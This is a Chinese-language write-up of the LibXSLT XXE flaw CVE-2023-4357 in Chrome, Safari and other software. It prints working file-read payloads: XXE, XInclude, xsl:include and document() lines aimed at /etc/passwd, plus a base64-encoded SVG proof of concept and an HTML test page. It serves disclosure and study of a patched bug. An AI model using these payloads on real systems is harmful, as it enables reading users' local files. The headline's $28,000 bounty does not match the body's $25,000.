使用 ChatGPT获取Web浏览器的XXE(CVE-2023-4357),收获赏金$28000
字数 1755 2025-08-19 12:40:45
LibXSLT XXE漏洞(CVE-2023-4357)分析与利用教程
漏洞概述
本教程详细分析了一个在LibXSLT库中发现的XXE(XML External Entity)漏洞(CVE-2023-4357),该漏洞允许攻击者通过精心构造的XSL文件读取系统文件。漏洞影响多个主流浏览器和应用程序,包括Chrome、Safari以及基于这些浏览器的应用程序。
漏洞背景
LibXSLT是一个广泛使用的XSLT处理库,自1999年首次发布以来,被集成到众多应用程序中,包括:
- Chrome和Safari浏览器
- PHP
- PostgreSQL
- Oracle数据库
- Python等
漏洞发现过程
初始思路
研究者最初思考的问题是:禁用JavaScript的恶意页面还能做什么?考虑到:
- SVG基于XML
- XML本身可能允许文件访问
- 需要验证XML/SVG语法是否都正确实现了同源策略(SOP)
- 通过file://协议的访问是否得到正确处理
技术选择:XSL测试
选择测试XSL(可扩展样式表语言)技术,因为:
- 它是基于XML的语言
- 可用于修改或检索数据
- Chrome中使用LibXSLT库处理XSL
验证LibXSLT存在的方法:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="system-properties.xsl" type="text/xsl"?>
<root />
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<p>Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /></p>
</xsl:template>
</xsl:stylesheet>
输出将显示LibXSLT的版本信息,确认其存在。
关键漏洞利用技术
1. 获取文档位置
使用unparsed-entity-uri()函数可以获取当前文档位置:
<?xml-stylesheet href="get-location.xsl" type="text/xsl"?>
<!DOCTYPE test [
<!ENTITY ent SYSTEM "?">
]>
<test>
<getLocation test="ent" />
</test>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" />
<xsl:template match="getLocation">
<input type="text" value="{unparsed-entity-uri(@test)}" />
</xsl:template>
</xsl:stylesheet>
2. 远程内容加载技术
研究者测试了多种XML/XSL加载远程内容的方法:
XML外部实体(XXE)
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>
&xxe;
</test>
XInclude
<?xml version="1.0"?>
<test xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" />
</test>
XSL的include/import标签
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:include href="file:///etc/passwd" />
<xsl:import href="file:///etc/passwd" />
</xsl:stylesheet>
XSL的document()函数
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('file:///etc/passwd')" />
</xsl:template>
</xsl:stylesheet>
漏洞利用链
成功的利用链结合了:
document()函数- 参数文件中的XML外部实体
- 数据协议(data:)
最终构造的XSL文件通过数据协议插入到XML文件中,实现了文件读取。
影响范围测试
测试了多种平台和浏览器组合:
| 测试场景 | 可访问的文件 |
|---|---|
| Android + Chrome | /etc/hosts |
| iOS + Safari | /etc/group, /etc/hosts, /etc/passwd |
| Windows + Chrome | - |
| Ubuntu + Chrome | - |
| PlayStation 4 + Chrome | - |
| Samsung TV + Chrome | /etc/group, /etc/hosts, /etc/passwd |
差异原因可能是沙箱实现的不同。在Windows/Linux上使用--no-sandbox运行Chrome可以读取任意文件。
其他应用程序测试
| 应用 | 结果 |
|---|---|
| PHP | 允许控制XSLTProcessor::importStylesheet数据的应用受影响 |
| XMLSEC | document()函数不允许http(s)://和data: URL |
| Oracle | document()函数不允许http(s)://和data: URL |
| PostgreSQL | document()函数不允许http(s)://和data: URL |
PHP默认配置禁用外部实体XML/XSL文档解析,但这不影响document()函数加载的XML文档。
漏洞防护
PHP中调用以下函数可防止攻击:
libxml_set_external_entity_loader(function ($a) {});
PoC示例
SVG PoC
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgbWV0aG9kPSJ4bWwiLz4KPHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGZvcmVpZ25PYmplY3Qgd2lkdGg9IjMwMCIgaGVpZ2h0PSI2MDAiPgo8ZGl2IHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KTGlicmFyeTogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlbmRvcicpIiAvPjx4c2w6dmFsdWUtb2Ygc2VsZWN0PSJzeXN0ZW0tcHJvcGVydHkoJ3hzbDp2ZXJzaW9uJykiIC8+PGJyIC8+IApMb2NhdGlvbjogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InVucGFyc2VkLWVudGl0eS11cmkoLyovQGxvY2F0aW9uKSIgLz4gIDxici8+ClhTTCBkb2N1bWVudCgpIFhYRTogCjx4c2w6Y29weS1vZiAgc2VsZWN0PSJkb2N1bWVudCgnZGF0YTosJTNDJTNGeG1sJTIwdmVyc2lvbiUzRCUyMjEuMCUyMiUyMGVuY29kaW5nJTNEJTIyVVRGLTglMjIlM0YlM0UlMEElM0MlMjFET0NUWVBFJTIweHhlJTIwJTVCJTIwJTNDJTIxRU5USVRZJTIweHhlJTIwU1lTVEVNJTIwJTIyZmlsZTovLy9ldGMvcGFzc3dkJTIyJTNFJTIwJTVEJTNFJTBBJTNDeHhlJTNFJTBBJTI2eHhlJTNCJTBBJTNDJTJGeHhlJTNFJykiLz4KPC9kaXY+CjwvZm9yZWlnbk9iamVjdD4KPC9zdmc+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="?>
<!DOCTYPE svg [
<!ENTITY ent SYSTEM "?" >
]>
<svg location="ent" />
HTML测试页面
<html>
<head>
<title>LibXSLT document() XXE tests</title>
</head>
<body>
SVG <br />
<iframe src="data:image/svg+xml;base64,[BASE64_ENCODED_SVG]"></iframe>
<br />
SVG WIN <br />
<iframe src="data:image/svg+xml;base64,[BASE64_ENCODED_SVG_WIN]"></iframe>
<br />
XML <br />
<iframe src="data:text/xml;base64,[BASE64_ENCODED_XML]"></iframe>
<br />
XML WIN <br />
<iframe src="data:text/xml;base64,[BASE64_ENCODED_XML_WIN]"></iframe>
<br />
</body>
</html>
漏洞修复与赏金
- 苹果Safari实施了沙盒补丁(CVE-2023-40415),奖励25,000美元
- 其他厂商也相应修复了此漏洞
总结
这个漏洞展示了:
- 即使禁用JavaScript,XML/XSL功能仍可能带来安全风险
- 广泛使用的库(LibXSLT)中的漏洞影响范围广泛
- 沙箱实现的不一致导致某些平台更易受攻击
- ChatGPT等AI工具可以辅助安全研究,但也可能被滥用
安全建议:
- 及时更新浏览器和应用程序
- 限制XML/XSL处理中的外部实体加载
- 加强沙箱实现,特别是在移动设备和智能设备上
- 对AI生成的代码保持警惕,需人工验证安全性